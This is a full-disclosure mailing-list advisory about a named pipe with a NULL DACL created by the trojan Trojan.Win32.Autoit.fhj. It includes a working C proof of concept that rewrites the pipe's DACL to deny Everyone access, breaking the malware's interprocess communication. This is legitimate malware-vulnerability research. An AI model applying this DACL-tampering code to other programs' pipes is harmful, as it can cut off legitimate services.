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List:       full-disclosure
Subject:    [FD] Trojan.Win32.Autoit.fhj / Named Pipe Null DACL
From:       malvuln <malvuln13 () gmail ! com>
Date:       2022-09-07 0:15:32
Message-ID: CAAHK0WTZu8ukrhPifnrCRSUzS7k7sJb7po42GJKgwvH-G=Cs+g () mail ! gmail ! com
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Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source:
https://malvuln.com/advisory/d871836f77076eeed87eb0078c1911c7_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan.Win32.Autoit.fhj
Vulnerability: Named Pipe Null DACL
Family: Autoit
Type: PE32
MD5: d871836f77076eeed87eb0078c1911c7
Vuln ID: MVID-2022-0638
Disclosure: 09/06/2022
Description: The malware creates two processes "xservice.exe" and a child
process "xps.exe".  The process creates an IPC pipe with a NULL DACL
allowing RW for the Everyone user group.

RManFUSCallbackNotify32
RManFUSServerNotify32

\\.\Pipe\RManFUSCallbackNotify32
RW Everyone

Local low privileged users can modify the DACL to remove rights for the
Everyone users group, denying access to use the pipe for further RW
interprocess communications.

Exploit/PoC:
#include "windows.h"
#include "stdio.h"
#include "accctrl.h"
#include "aclapi.h"

/*
Trojan.Win32.Autoit.fhj.d871836f77076eeed87eb0078c1911c7
NamedPipe Exploit Deny Access to Everyone
By Malvuln
**/

#define VULN_TROJAN_PIPE "\\\\.\\pipe\\RManFUSCallbackNotify32"

int main(void){

    HANDLE hPipe = CreateFileA((LPCSTR)VULN_TROJAN_PIPE, GENERIC_WRITE |
WRITE_DAC, 0, NULL, OPEN_EXISTING, NULL, NULL);
    PACL pOldDACL = NULL;
    PACL pNewDACL = NULL;

if (hPipe == INVALID_HANDLE_VALUE){
    printf("%d", GetLastError());
return 1;
}

  if(GetSecurityInfo(hPipe, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION,
NULL, NULL, &pOldDACL, NULL, NULL) != ERROR_SUCCESS){
  printf("%d", GetLastError());
  return 1;
  }

    TRUSTEE trustee[1];
    trustee[0].TrusteeForm = TRUSTEE_IS_NAME;
    trustee[0].TrusteeType = TRUSTEE_IS_GROUP;
    trustee[0].ptstrName = TEXT("Everyone");
    trustee[0].MultipleTrusteeOperation = NO_MULTIPLE_TRUSTEE;
    trustee[0].pMultipleTrustee = NULL;

    EXPLICIT_ACCESS explicit_access_list[1];
    ZeroMemory(&explicit_access_list[0], sizeof(EXPLICIT_ACCESS));

    explicit_access_list[0].grfAccessMode = DENY_ACCESS;
    explicit_access_list[0].grfAccessPermissions = GENERIC_ALL;
    explicit_access_list[0].grfInheritance = NO_INHERITANCE;
    explicit_access_list[0].Trustee = trustee[0];

    if(SetEntriesInAcl(1, explicit_access_list, pOldDACL, &pNewDACL) !=
ERROR_SUCCESS){
    printf("%d", GetLastError());
    return 1;
    }

    if(SetSecurityInfo(hPipe, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION,
NULL, NULL, pNewDACL, NULL) != ERROR_SUCCESS){
       printf("%d", GetLastError());
       return 1;
      }else{
      printf("Trojan.Win32.Autoit.fhj PWNED!\n");
      printf("By Malvuln\n");
      }

    LocalFree(pNewDACL);
    LocalFree(pOldDACL);
    CloseHandle(hPipe);

    system("pause");

return 0;
}

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).
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